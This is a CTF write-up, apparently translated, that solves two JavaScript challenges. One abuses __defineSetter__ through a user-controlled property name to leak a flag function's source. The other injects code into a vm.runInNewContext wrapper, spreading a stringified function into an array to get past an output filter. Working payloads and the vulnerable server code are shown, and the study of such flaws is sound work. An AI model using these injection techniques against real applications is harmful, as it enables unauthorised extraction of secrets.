converter#
The question is a webpage, as follows:
POST two parameters, Input
represents the input data, and converter
represents the selected converter.
Analyzing the source code, we can see that there are three converter
s, which represent three different encoding methods. Among them, flagConverter
contains the flag.
However, request.body.converter
is restricted and cannot contain FLAG
.
if (request.body.converter.match(/[FLAG]/)) {
throw new Error("Don't be evil :)");
}
if (request.body.input.length < 20) {
throw new Error('Too short :(');
}
if (request.body.input.length > 1000) {
throw new Error('Too long :(');
}
After studying, there is no way to break this restriction 🤣
Analysis#
Note that the actual code that calls converter
, our two input parameters req.body.converter
and req.body.input
, where req.body.converter
is used as the property name of converters
, which means we can control any property of converters
(except that the property name cannot contain FLAG
).
The code
await new Promise
is an attempt to convert callback-style asynchronous operations into Promise-style operations, so thatawait
can be used to wait for the execution result. It can be ignored.
And we found that converters
is a const type, and each time the encode
operation is executed, converters
is assigned again (in theory, it can be hardcoded, there is no need to do this for each request)
converters['base64'] = base64Converter;
converters['scrypt'] = scryptConverter;
converters[`FLAG_${request.session.sessionId}`] = flagConverter;
const result = await new Promise((resolve, reject) => {
converters[request.body.converter](request.body.input, (error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
});
});
And we know that in JS, although an object's properties may look like only a few, due to the unique prototype chain inheritance relationship in JS, the properties of the Object
object are also inherited (so we can try each of these properties one by one).
The __defineSetter__
property is very interesting, it is somewhat similar to reflection, it can act as a proxy for one property of an object, the normal way is like this:
const obj = {
a: 1
};
// Using __defineGetter__
obj.__defineSetter__('a', function(res) {
console.log("get res: " + res);
});
If we define a setter, then when assigning a value, the value on the right side of the assignment equation will be passed as the first parameter to the setter function
So, when we input input= FLAG_***SESSION***
(input does not prohibit the input of the FLAG string), converter = __defineSetter__
, the code becomes:
converters["__defineSetter__"]("FLAG_***SESSION***", (error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
});
So when we rewrite the setter corresponding to the FLAG_***SESSION***
object, this webpage will not change!
Later, open a new webpage to access it, and then trigger:
converters[`FLAG_${request.session.sessionId}`] = flagConverter;
You can see that flagConverter
will be passed as the first parameter to the function
(error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
}
At this time, the result is naturally the error, which is the result of flagConverter.toString()
Return to our first webpage, you can see:
Kantan Calc#
This question is also very interesting, it is a novel code audit in JS, cleverly using sandbox escape to mislead you, and actually using a very common feature of JS
Classic calculator frontend in CTF:
Look at the code:
app.get('/', function (req, res, next) {
let output = '';
const code = req.query.code + '';
console.log(code.length); // Print the length of the input code
if (code && code.length < 30) {
try {
const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), { timeout: 100 });
output = result + '';
if (output.includes('flag')) {
output = 'Error: please do not exfiltrate the flag';
}
} catch (e) {
output = 'Error: error occurred';
}
} else {
output = 'Error: invalid code';
}
res.render('index', { title: 'Kantan Calc', output });
});
The key code is in the line vm.runInNewContext
, where the input content is executed as code, such as inputting 2*2
The actual code executed in vm is:
'use strict';
(
function(){
return 2*2; /* flag{fake_flag} */
}
)()
It is actually an immediately invoked function, but here is something to note:
vm.runInNewContext('', Object.create(null))
Object.create(null)
actually creates an object with no prototype chain, it is an absolutely "clean" object
Therefore, the most common sandbox escape method cannot be used (I'm too lazy to write it)
Solution#
In JavaScript, you can get the function body by converting the function body to a string:
function a() {}
console.log(a+'')
// "function a() {}"
This way, the flag comment information in the code can be printed out, but even if it is printed out, it will still be intercepted by the subsequent if
, what should we do?
The answer is an array, using the weak type conversion of the function toString
to return a char array (bypassing the if
check), while ensuring that the payload length is less than 30
So let's close the previous function directly, and then open a new function, that is, input:
},function p(){return[...p+1]
Then:
'use strict';
(
function(){
return
},
function p(){return[...p+1]; /* flag{fake_flag} */
}
)()
When the second function p
is executed, it first performs addition, captures it as a string, and then deconstructs it into an array, bypassing the check
When looking at the write-up, I also found another idea:
[...arguments[0]+0]})(a=>{
The actual executed code:
'use strict';
(
function(){
return [...arguments[0]+0]}
)
(a=>{
; /* flag{fake_flag} */
}
)()
It is equivalent to first defining a function
(
function(){
return [...arguments[0]+0]
}
)
Then when calling, passing a parameter (a => {;/*flag{fake_flag}*/})
, naturally this function will be passed as the arguments
parameter, the same reason (but this case will report an error because the return value is an array and cannot continue to function call)
Summary#
These two questions have also been packaged into Docker images, you can take them if you need:
docker run -d --restart=always -p 3000:3000 rayepeng/kantan_calc:latest
docker run -d --restart=always -p 3000:3000 rayepeng/convert:latest
In fact, many features of JS can be used to create questions, but there are few code audit questions that are as interesting as PHP, and there are various interesting variations. In the future, I plan to think more about this and try to create some interesting code audit questions that combine JS features.